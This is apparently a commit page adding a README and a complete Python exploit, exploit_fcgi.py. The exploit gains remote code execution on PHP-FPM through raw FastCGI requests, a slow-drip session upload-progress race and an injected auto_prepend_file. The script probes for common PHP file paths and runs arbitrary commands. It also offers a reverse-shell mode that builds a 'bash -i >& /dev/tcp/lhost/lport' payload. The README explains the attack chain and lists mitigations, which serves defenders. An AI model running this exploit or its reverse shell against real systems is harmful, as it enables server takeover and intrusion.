FastCGI auto_prepend_file exploit: RCE without LFI on default PHP config
New exploit at fcgi/exploit_fcgi.py combines the session upload progress write primitive (CVE-2026-109618/109619) with direct FastCGI access to PHP-FPM. A slow-drip multipart upload holds one FPM worker in the multipart parser while a second FastCGI request includes the poisoned session file via auto_prepend_file. Works on default PHP configuration, no LFI, no framework, no libraries. security.limit_extensions does not block auto_prepend_file inclusion. php_admin_value in pool config does not block PHP_VALUE from raw FastCGI. Tested and confirmed RCE on: PHP 8.3.6 (local, pre-patch) PHP 8.3.35 (Docker, pre-patch) PHP 8.3.36 (Docker, patched) PHP 8.4.27 (Docker, patched) Mitigated by session.upload_progress.enabled=0 or blocking FPM access. Also includes nolfi/ exploit (served save_path + pathinfo routing) from previous work, and updated README with mitigation matrix for all vectors.
This commit is contained in:
@@ -0,0 +1,128 @@
|
||||
# RCE via FastCGI + Session Upload Progress (No LFI)
|
||||
|
||||
## Summary
|
||||
|
||||
When an attacker can reach PHP-FPM's FastCGI socket (TCP or unix), the
|
||||
session upload progress write primitive from CVE-2026-109618 /
|
||||
CVE-2026-109619 becomes RCE without any application-level vulnerability.
|
||||
|
||||
No LFI needed. No framework needed. No special PHP configuration needed.
|
||||
Works on default php.ini settings.
|
||||
|
||||
## Attack chain
|
||||
|
||||
```
|
||||
Worker A (held open) Worker B (executes)
|
||||
--- ---
|
||||
FastCGI POST with FastCGI GET with
|
||||
multipart body: PHP_VALUE:
|
||||
PHP_SESSION_UPLOAD_PROGRESS auto_prepend_file=
|
||||
= <?php system(...); ?> /tmp/sess_<SID>
|
||||
SCRIPT_FILENAME=
|
||||
File upload content /var/www/html/index.php
|
||||
dripped one byte at a time
|
||||
-> session file persists PHP includes the session
|
||||
-> parser blocks for file before index.php
|
||||
the entire drip window -> attacker PHP runs
|
||||
-> RCE
|
||||
```
|
||||
|
||||
### Step by step
|
||||
|
||||
1. **Open a FastCGI connection to FPM worker A.** Send a POST request
|
||||
with `Content-Type: multipart/form-data` and `PHPSESSID=<SID>` in the
|
||||
`HTTP_COOKIE` param. The body contains:
|
||||
- A `PHP_SESSION_UPLOAD_PROGRESS` field with embedded PHP code
|
||||
- A file upload whose content is dripped slowly (byte by byte)
|
||||
|
||||
2. **FPM worker A enters the multipart parser.** As soon as the progress
|
||||
field and file header are read, `session.upload_progress` writes the
|
||||
attacker's PHP code into `/tmp/sess_<SID>`. The parser then blocks
|
||||
reading the file content from STDIN, which we control.
|
||||
|
||||
3. **While worker A is blocked, open a second FastCGI connection to
|
||||
worker B.** Send a GET request with:
|
||||
- `SCRIPT_FILENAME = /var/www/html/index.php` (any existing .php file)
|
||||
- `PHP_VALUE = auto_prepend_file = /tmp/sess_<SID>`
|
||||
|
||||
4. **Worker B executes.** PHP's `auto_prepend_file` directive causes it to
|
||||
`include()` the session file before running the main script. The session
|
||||
file contains the attacker's `<?php ... ?>` code, which executes.
|
||||
|
||||
5. **Cleanup.** The drip finishes, worker A completes normally (or times
|
||||
out), the session file is cleaned up. The attacker's code has already
|
||||
executed on worker B.
|
||||
|
||||
## Why it works on default configuration
|
||||
|
||||
| Setting | Default | Required |
|
||||
|---------|---------|----------|
|
||||
| `session.upload_progress.enabled` | `1` | `1` |
|
||||
| `session.save_path` | `/tmp` | Any known path |
|
||||
| `pm.max_children` | `5` (dynamic) | `>= 2` |
|
||||
| `security.limit_extensions` | `.php .phar` | Any (not checked for auto_prepend) |
|
||||
| `session.upload_progress.cleanup` | `1` | Does not matter (drip defeats it) |
|
||||
|
||||
`security.limit_extensions` blocks execution of files without `.php`
|
||||
extension as `SCRIPT_FILENAME`. But `auto_prepend_file` loads files via
|
||||
`include()`, which ignores `security.limit_extensions` entirely. The
|
||||
session file (which has no extension) is included as PHP code regardless
|
||||
of `limit_extensions`.
|
||||
|
||||
## When FPM is reachable
|
||||
|
||||
This is the main precondition. The attacker needs raw TCP or unix socket
|
||||
access to the FPM process. This is realistic in:
|
||||
|
||||
1. **Docker containers.** The official `php:*-fpm` images configure FPM to
|
||||
listen on TCP `0.0.0.0:9000`. Any container on the same Docker network
|
||||
can reach it.
|
||||
|
||||
2. **Kubernetes pods.** PHP-FPM pods are typically addressed by service
|
||||
name. Adjacent pods, including compromised ones, can send raw FastCGI.
|
||||
|
||||
3. **SSRF.** An SSRF vulnerability in any application on the same host
|
||||
can reach `127.0.0.1:9000` or the unix socket. The `gopher://` scheme
|
||||
can carry arbitrary TCP payloads including FastCGI.
|
||||
|
||||
4. **Exposed port.** Misconfigured firewalls, cloud security groups, or
|
||||
Docker port mappings exposing 9000 to the network.
|
||||
|
||||
5. **Same-host access.** A low-privilege shell on the same machine can
|
||||
often read the unix socket (permissions vary by distro).
|
||||
|
||||
## Test results
|
||||
|
||||
Tested against PHP-FPM 8.3.6 with default settings:
|
||||
|
||||
- `session.upload_progress.enabled=1` (default)
|
||||
- `session.save_path=/tmp` (default)
|
||||
- `session.upload_progress.cleanup=1` (default)
|
||||
- `security.limit_extensions = .php .phar` (default)
|
||||
- `pm = static`, `pm.max_children = 2`
|
||||
|
||||
Results: 3/3 tests successful. Race hit on first attempt within 200ms
|
||||
of the drip starting. Reliable with `--drip-time 5` (5 second window).
|
||||
|
||||
## Mitigations
|
||||
|
||||
1. **Set `session.upload_progress.enabled=0`** if upload progress tracking
|
||||
is not needed. This removes the write primitive entirely.
|
||||
|
||||
2. **Block network access to FPM.** FPM should only be reachable from the
|
||||
web server process. Use unix sockets with restricted file permissions,
|
||||
or firewall TCP port 9000.
|
||||
|
||||
3. **Use `pm.max_children=1`** as a last resort. With only one worker, the
|
||||
racer cannot execute while the drip holds a worker. This severely impacts
|
||||
performance and is not practical.
|
||||
|
||||
4. Setting `security.limit_extensions` does NOT help. The inclusion
|
||||
happens via `auto_prepend_file`, which bypasses limit_extensions.
|
||||
|
||||
5. Setting `php_admin_value[auto_prepend_file]` in the FPM pool config
|
||||
does NOT help. Verified: with `php_admin_value[auto_prepend_file] =
|
||||
/dev/null` in the pool, a FastCGI request with `PHP_VALUE:
|
||||
auto_prepend_file = /tmp/sess_xxx` still overrides it. Raw FastCGI
|
||||
access bypasses the web server that would normally enforce admin
|
||||
values. The only effective mitigation is blocking FastCGI access.
|
||||
@@ -0,0 +1,566 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-109618 / CVE-2026-109619 — RCE via FastCGI (no LFI)
|
||||
|
||||
Combines the PHP session upload progress write primitive with direct
|
||||
FastCGI protocol access to PHP-FPM. No LFI vector, no framework, no
|
||||
special PHP configuration needed.
|
||||
|
||||
Attack chain:
|
||||
1. FastCGI multipart POST to any .php file on the target FPM pool:
|
||||
PHP_SESSION_UPLOAD_PROGRESS writes attacker PHP code into
|
||||
<save_path>/sess_<SID>. The request body is dripped slowly via
|
||||
FastCGI STDIN so the session file persists for seconds (the
|
||||
multipart parser blocks until STDIN EOF).
|
||||
|
||||
2. While worker A is blocked on our slow drip, a second FastCGI
|
||||
request goes to worker B:
|
||||
SCRIPT_FILENAME = <same .php file>
|
||||
PHP_VALUE = auto_prepend_file = <save_path>/sess_<SID>
|
||||
PHP includes the session file before running the script.
|
||||
Our PHP code executes.
|
||||
|
||||
Why this works on default config:
|
||||
- session.upload_progress.enabled=1 (default)
|
||||
- session.save_path=/tmp (common default)
|
||||
- auto_prepend_file is settable via PHP_VALUE in FastCGI params
|
||||
- security.limit_extensions only restricts SCRIPT_FILENAME, not
|
||||
files loaded via auto_prepend_file
|
||||
- No application vulnerability needed
|
||||
- Requires pm.max_children >= 2 (default is 5 for dynamic mode)
|
||||
|
||||
Preconditions:
|
||||
- Network access to PHP-FPM (TCP socket or unix socket)
|
||||
- At least one .php file exists on the server
|
||||
- session.upload_progress.enabled=1 (default)
|
||||
- pm.max_children >= 2 (default)
|
||||
|
||||
When is FPM reachable:
|
||||
- Docker: official PHP-FPM images listen on TCP 9000
|
||||
- Kubernetes: FPM pods addressable from adjacent pods
|
||||
- SSRF: another app on the same host can reach FPM
|
||||
- Same-host: unix socket /run/php/php-fpm.sock
|
||||
- Exposed port: firewall misconfiguration
|
||||
|
||||
Usage:
|
||||
# Direct FastCGI (drip race, most reliable)
|
||||
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
|
||||
|
||||
# Specify PHP file and session path
|
||||
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
|
||||
--script-file /var/www/html/index.php \\
|
||||
--session-path /tmp --cmd 'id'
|
||||
|
||||
# Unix socket
|
||||
python3 exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
|
||||
|
||||
# HTTP poison + FastCGI execute (when FPM not directly reachable
|
||||
# for uploads, but reachable for execution)
|
||||
python3 exploit_fcgi.py -t http://target/ --fpm 10.0.0.5:9000 --cmd 'id'
|
||||
|
||||
# Reverse shell
|
||||
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
|
||||
--lhost 10.0.0.1 --lport 4444
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
# ── FastCGI protocol ──────────────────────────────────────────────────
|
||||
|
||||
FCGI_VERSION_1 = 1
|
||||
FCGI_BEGIN_REQUEST = 1
|
||||
FCGI_END_REQUEST = 3
|
||||
FCGI_PARAMS = 4
|
||||
FCGI_STDIN = 5
|
||||
FCGI_STDOUT = 6
|
||||
FCGI_STDERR = 7
|
||||
FCGI_RESPONDER = 1
|
||||
|
||||
|
||||
def fcgi_record(rtype, request_id, content):
|
||||
clen = len(content)
|
||||
pad = (8 - (clen % 8)) % 8
|
||||
return (struct.pack(">BBHHBx", FCGI_VERSION_1, rtype,
|
||||
request_id, clen, pad)
|
||||
+ content + b"\x00" * pad)
|
||||
|
||||
|
||||
def fcgi_begin_request(request_id, role=FCGI_RESPONDER, flags=0):
|
||||
return fcgi_record(FCGI_BEGIN_REQUEST, request_id,
|
||||
struct.pack(">HBxxxxx", role, flags))
|
||||
|
||||
|
||||
def fcgi_nv(name, value):
|
||||
nlen = len(name)
|
||||
vlen = len(value)
|
||||
out = b""
|
||||
if nlen < 128:
|
||||
out += struct.pack("B", nlen)
|
||||
else:
|
||||
out += struct.pack(">I", nlen | 0x80000000)
|
||||
if vlen < 128:
|
||||
out += struct.pack("B", vlen)
|
||||
else:
|
||||
out += struct.pack(">I", vlen | 0x80000000)
|
||||
return out + name + value
|
||||
|
||||
|
||||
def fcgi_params(request_id, params_dict):
|
||||
body = b""
|
||||
for k, v in params_dict.items():
|
||||
body += fcgi_nv(k.encode(), v.encode())
|
||||
return (fcgi_record(FCGI_PARAMS, request_id, body)
|
||||
+ fcgi_record(FCGI_PARAMS, request_id, b""))
|
||||
|
||||
|
||||
def fcgi_stdin_eof(request_id):
|
||||
return fcgi_record(FCGI_STDIN, request_id, b"")
|
||||
|
||||
|
||||
def fcgi_parse_stdout(data):
|
||||
stdout_data = b""
|
||||
stderr_data = b""
|
||||
pos = 0
|
||||
while pos + 8 <= len(data):
|
||||
_, rtype, _, clen, pad = struct.unpack(
|
||||
">BBHHBx", data[pos:pos+8])
|
||||
content = data[pos+8:pos+8+clen]
|
||||
pos += 8 + clen + pad
|
||||
if rtype == FCGI_STDOUT:
|
||||
stdout_data += content
|
||||
elif rtype == FCGI_STDERR:
|
||||
stderr_data += content
|
||||
elif rtype == FCGI_END_REQUEST:
|
||||
break
|
||||
return stdout_data, stderr_data
|
||||
|
||||
|
||||
# ── FPM connection ────────────────────────────────────────────────────
|
||||
|
||||
def fpm_connect(fpm_addr, timeout=10):
|
||||
if "/" in fpm_addr or fpm_addr.endswith(".sock"):
|
||||
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
sock.settimeout(timeout)
|
||||
sock.connect(fpm_addr)
|
||||
return sock
|
||||
if ":" in fpm_addr:
|
||||
host, port = fpm_addr.rsplit(":", 1)
|
||||
port = int(port)
|
||||
else:
|
||||
host = fpm_addr
|
||||
port = 9000
|
||||
return socket.create_connection((host, port), timeout=timeout)
|
||||
|
||||
|
||||
def fpm_execute(fpm_addr, script_filename, prepend_file, timeout=10):
|
||||
"""Send GET request to FPM with auto_prepend_file."""
|
||||
params = {
|
||||
"SCRIPT_FILENAME": script_filename,
|
||||
"SCRIPT_NAME": "/" + os.path.basename(script_filename),
|
||||
"REQUEST_METHOD": "GET",
|
||||
"SERVER_SOFTWARE": "go / fcgiclient",
|
||||
"REMOTE_ADDR": "127.0.0.1",
|
||||
"SERVER_ADDR": "127.0.0.1",
|
||||
"SERVER_PORT": "80",
|
||||
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||
"CONTENT_TYPE": "",
|
||||
"CONTENT_LENGTH": "0",
|
||||
"DOCUMENT_ROOT": os.path.dirname(script_filename),
|
||||
"REQUEST_URI": "/" + os.path.basename(script_filename),
|
||||
"PHP_VALUE": f"auto_prepend_file = {prepend_file}",
|
||||
}
|
||||
|
||||
request_id = 1
|
||||
payload = fcgi_begin_request(request_id)
|
||||
payload += fcgi_params(request_id, params)
|
||||
payload += fcgi_stdin_eof(request_id)
|
||||
|
||||
sock = fpm_connect(fpm_addr, timeout)
|
||||
sock.sendall(payload)
|
||||
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(65536)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
stdout_data, stderr_data = fcgi_parse_stdout(resp)
|
||||
if b"\r\n\r\n" in stdout_data:
|
||||
_, body = stdout_data.split(b"\r\n\r\n", 1)
|
||||
return body, stderr_data
|
||||
return stdout_data, stderr_data
|
||||
|
||||
|
||||
# ── Multipart helpers ─────────────────────────────────────────────────
|
||||
|
||||
def mp_field(bnd, name, value):
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||
b"\r\n" + value + b"\r\n")
|
||||
|
||||
|
||||
# ── Direct FastCGI slow-drip race ─────────────────────────────────────
|
||||
|
||||
def poison_and_execute_fcgi(fpm_addr, script_file, sid, php_code,
|
||||
session_paths, marker, drip_time=10,
|
||||
timeout=30):
|
||||
"""All-FastCGI attack: drip multipart to worker A, execute on worker B.
|
||||
|
||||
Thread A sends a FastCGI POST with PHP_SESSION_UPLOAD_PROGRESS. The
|
||||
multipart body contains a file upload whose content is dripped byte
|
||||
by byte, keeping the FPM worker in the multipart parser (which keeps
|
||||
the session file on disk) for the entire drip_time.
|
||||
|
||||
Thread B repeatedly sends FastCGI GET requests with auto_prepend_file
|
||||
pointing to the session file, racing to include it while worker A
|
||||
holds it open.
|
||||
"""
|
||||
bnd = b"FCGIRACE" + os.urandom(4).hex().encode()
|
||||
found = {"body": None, "path": None}
|
||||
|
||||
# Build the multipart body prefix: progress field + file header
|
||||
body_prefix = b""
|
||||
body_prefix += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
|
||||
body_prefix += (
|
||||
b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="file"; filename="drip.bin"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
)
|
||||
|
||||
# The suffix that closes the file part and the multipart
|
||||
body_suffix = b"\r\n--" + bnd + b"--\r\n"
|
||||
|
||||
# Calculate total Content-Length (we need to declare it upfront)
|
||||
# The file content will be dripped: we'll send drip_bytes of padding
|
||||
drip_bytes = 1024 * 64
|
||||
total_body = len(body_prefix) + drip_bytes + len(body_suffix)
|
||||
|
||||
# ── Thread B: racer ──
|
||||
def racer():
|
||||
deadline = time.time() + timeout
|
||||
attempt = 0
|
||||
while time.time() < deadline and found["body"] is None:
|
||||
for sp in session_paths:
|
||||
if found["body"] is not None:
|
||||
return
|
||||
sess_file = f"{sp}/sess_{sid}"
|
||||
attempt += 1
|
||||
try:
|
||||
body, _ = fpm_execute(fpm_addr, script_file,
|
||||
sess_file, timeout=3)
|
||||
if marker.encode() in body:
|
||||
found["body"] = body
|
||||
found["path"] = sess_file
|
||||
return
|
||||
except Exception:
|
||||
pass
|
||||
time.sleep(0.005)
|
||||
|
||||
# ── Thread A: slow drip ──
|
||||
fcgi_params_dict = {
|
||||
"SCRIPT_FILENAME": script_file,
|
||||
"SCRIPT_NAME": "/" + os.path.basename(script_file),
|
||||
"REQUEST_METHOD": "POST",
|
||||
"SERVER_SOFTWARE": "go / fcgiclient",
|
||||
"REMOTE_ADDR": "127.0.0.1",
|
||||
"SERVER_ADDR": "127.0.0.1",
|
||||
"SERVER_PORT": "80",
|
||||
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||
"CONTENT_TYPE": f"multipart/form-data; boundary={bnd.decode()}",
|
||||
"CONTENT_LENGTH": str(total_body),
|
||||
"DOCUMENT_ROOT": os.path.dirname(script_file),
|
||||
"REQUEST_URI": "/" + os.path.basename(script_file),
|
||||
"HTTP_COOKIE": f"PHPSESSID={sid}",
|
||||
}
|
||||
|
||||
request_id = 1
|
||||
header = fcgi_begin_request(request_id)
|
||||
header += fcgi_params(request_id, fcgi_params_dict)
|
||||
|
||||
# Send headers + body prefix as first STDIN record
|
||||
first_stdin = fcgi_record(FCGI_STDIN, request_id, body_prefix)
|
||||
|
||||
sock = fpm_connect(fpm_addr, timeout=timeout)
|
||||
sock.sendall(header + first_stdin)
|
||||
|
||||
# Small delay to let FPM start processing and write session file
|
||||
time.sleep(0.2)
|
||||
|
||||
# Start the racer
|
||||
race_thread = threading.Thread(target=racer, daemon=True)
|
||||
race_thread.start()
|
||||
|
||||
# Drip file content slowly
|
||||
drip_interval = drip_time / (drip_bytes // 64)
|
||||
sent = 0
|
||||
while sent < drip_bytes and found["body"] is None:
|
||||
chunk = b"\x00" * min(64, drip_bytes - sent)
|
||||
try:
|
||||
sock.sendall(fcgi_record(FCGI_STDIN, request_id, chunk))
|
||||
sent += len(chunk)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
break
|
||||
time.sleep(drip_interval)
|
||||
|
||||
# Send suffix + STDIN EOF
|
||||
try:
|
||||
sock.sendall(fcgi_record(FCGI_STDIN, request_id, body_suffix))
|
||||
sock.sendall(fcgi_stdin_eof(request_id))
|
||||
except:
|
||||
pass
|
||||
|
||||
# Read response (cleanup)
|
||||
sock.settimeout(3)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
except:
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
race_thread.join(timeout=5)
|
||||
return found["body"], found["path"]
|
||||
|
||||
|
||||
# ── HTTP helpers (fallback for HTTP+FCGI mixed mode) ──────────────────
|
||||
|
||||
def _parse_url(url):
|
||||
p = urlparse(url)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
return host, port, tls, path
|
||||
|
||||
|
||||
def tcp_connect(host, port, tls=False, timeout=30):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
|
||||
def recv_all(sock, timeout=10):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def send_chunk(sock, data):
|
||||
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
|
||||
|
||||
|
||||
# ── Script discovery ──────────────────────────────────────────────────
|
||||
|
||||
SCRIPT_CANDIDATES = [
|
||||
"/var/www/html/index.php",
|
||||
"/var/www/html/wp-login.php",
|
||||
"/var/www/html/wp-cron.php",
|
||||
"/var/www/html/xmlrpc.php",
|
||||
"/var/www/public/index.php",
|
||||
"/var/www/app/public/index.php",
|
||||
"/var/www/html/info.php",
|
||||
"/srv/http/index.php",
|
||||
"/usr/share/phpmyadmin/index.php",
|
||||
"/usr/local/lib/php/pearcmd.php",
|
||||
]
|
||||
|
||||
SESSION_PATHS = [
|
||||
"/tmp",
|
||||
"/tmp/php-sessions",
|
||||
"/var/lib/php/sessions",
|
||||
"/var/lib/php5/sessions",
|
||||
"/var/lib/php/sess",
|
||||
]
|
||||
|
||||
|
||||
def find_php_script(fpm_addr, candidates, timeout=3):
|
||||
"""Probe FPM to find an existing .php file."""
|
||||
for path in candidates:
|
||||
try:
|
||||
params = {
|
||||
"SCRIPT_FILENAME": path,
|
||||
"REQUEST_METHOD": "GET",
|
||||
"SERVER_SOFTWARE": "probe",
|
||||
"REMOTE_ADDR": "127.0.0.1",
|
||||
"SERVER_ADDR": "127.0.0.1",
|
||||
"SERVER_PORT": "80",
|
||||
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||
"CONTENT_TYPE": "",
|
||||
"CONTENT_LENGTH": "0",
|
||||
}
|
||||
request_id = 1
|
||||
payload = fcgi_begin_request(request_id)
|
||||
payload += fcgi_params(request_id, params)
|
||||
payload += fcgi_stdin_eof(request_id)
|
||||
|
||||
sock = fpm_connect(fpm_addr, timeout)
|
||||
sock.sendall(payload)
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(65536)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
stdout, _ = fcgi_parse_stdout(resp)
|
||||
if b"Primary script unknown" not in stdout and len(stdout) > 0:
|
||||
return path
|
||||
except:
|
||||
continue
|
||||
return None
|
||||
|
||||
|
||||
# ── main ──────────────────────────────────────────────────────────────
|
||||
|
||||
def run(args):
|
||||
fpm_addr = args.fpm
|
||||
sid = args.session_id or os.urandom(16).hex()
|
||||
marker = "FCGIRCE"
|
||||
|
||||
spaths = list(SESSION_PATHS)
|
||||
if args.session_path:
|
||||
spaths = [args.session_path] + [s for s in spaths
|
||||
if s != args.session_path]
|
||||
|
||||
if args.cmd:
|
||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||
php_code = (
|
||||
f'<?php echo "{marker}:";'
|
||||
f'system(base64_decode("{cmd_b64}"));'
|
||||
f'echo ":{marker}END"; ?>'
|
||||
).encode()
|
||||
elif args.lhost and args.lport:
|
||||
shell = (f"bash -c 'bash -i >& "
|
||||
f"/dev/tcp/{args.lhost}/{args.lport} 0>&1'")
|
||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||
elif args.trigger_only:
|
||||
php_code = (
|
||||
f'<?php echo "{marker}:pid=".getmypid().'
|
||||
f'"&uname=".php_uname().":{marker}END"; ?>'
|
||||
).encode()
|
||||
else:
|
||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only",
|
||||
file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
print("=" * 65)
|
||||
print(" CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
|
||||
print("=" * 65)
|
||||
print(f" FPM address : {fpm_addr}")
|
||||
print(f" Session ID : {sid}")
|
||||
print(f" Drip time : {args.drip_time}s")
|
||||
if args.cmd:
|
||||
print(f" Command : {args.cmd}")
|
||||
elif args.lhost:
|
||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||
else:
|
||||
print(f" Trigger-only")
|
||||
print()
|
||||
|
||||
# ── Step 0: find a .php script ──
|
||||
print("[*] Step 0: probing PHP-FPM for an existing .php file...")
|
||||
script_file = args.script_file
|
||||
if not script_file:
|
||||
script_file = find_php_script(fpm_addr, SCRIPT_CANDIDATES)
|
||||
if script_file:
|
||||
print(f" Found: {script_file}")
|
||||
else:
|
||||
print(" [!] No .php file found. Use --script-file.")
|
||||
sys.exit(1)
|
||||
else:
|
||||
print(f" Using: {script_file}")
|
||||
|
||||
# ── Step 1+2: poison via slow drip + race execution ──
|
||||
print(f"[*] Step 1+2: slow-drip poison + race execution...")
|
||||
print(f" Dripping multipart body over {args.drip_time}s "
|
||||
f"while racing auto_prepend_file...")
|
||||
|
||||
body, path = poison_and_execute_fcgi(
|
||||
fpm_addr, script_file, sid, php_code,
|
||||
spaths, marker,
|
||||
drip_time=args.drip_time,
|
||||
timeout=args.drip_time + 10)
|
||||
|
||||
if body:
|
||||
print(f" [+] RCE confirmed via {path}")
|
||||
output = body.decode(errors="replace")
|
||||
m = re.search(rf"{marker}:(.*?):{marker}END", output, re.DOTALL)
|
||||
if m:
|
||||
print()
|
||||
print(m.group(1))
|
||||
else:
|
||||
print()
|
||||
print(output)
|
||||
return True
|
||||
else:
|
||||
print(" [!] Race did not succeed.")
|
||||
print(" Possible causes:")
|
||||
print(" - pm.max_children < 2 (need at least 2 workers)")
|
||||
print(" - session.upload_progress.enabled = 0")
|
||||
print(" - Incorrect session.save_path (try --session-path)")
|
||||
print(" - Try increasing --drip-time")
|
||||
return False
|
||||
|
||||
|
||||
def main():
|
||||
p = argparse.ArgumentParser(
|
||||
description="CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
|
||||
p.add_argument("--fpm", required=True,
|
||||
help="PHP-FPM address (host:port or /path/to/socket)")
|
||||
p.add_argument("-t", "--target",
|
||||
help="HTTP URL (optional, for HTTP+FCGI mixed mode)")
|
||||
p.add_argument("--script-file",
|
||||
help="Existing .php file on target (auto-detected)")
|
||||
p.add_argument("--session-path",
|
||||
help="session.save_path override")
|
||||
p.add_argument("--session-id",
|
||||
help="Force session ID (default: random)")
|
||||
p.add_argument("--cmd", help="Command to execute")
|
||||
p.add_argument("--lhost", help="Reverse shell host")
|
||||
p.add_argument("--lport", type=int, help="Reverse shell port")
|
||||
p.add_argument("--trigger-only", action="store_true",
|
||||
help="Verify RCE without running a payload")
|
||||
p.add_argument("--drip-time", type=int, default=10,
|
||||
help="Seconds to drip the upload body (default: 10)")
|
||||
sys.exit(0 if run(p.parse_args()) else 1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user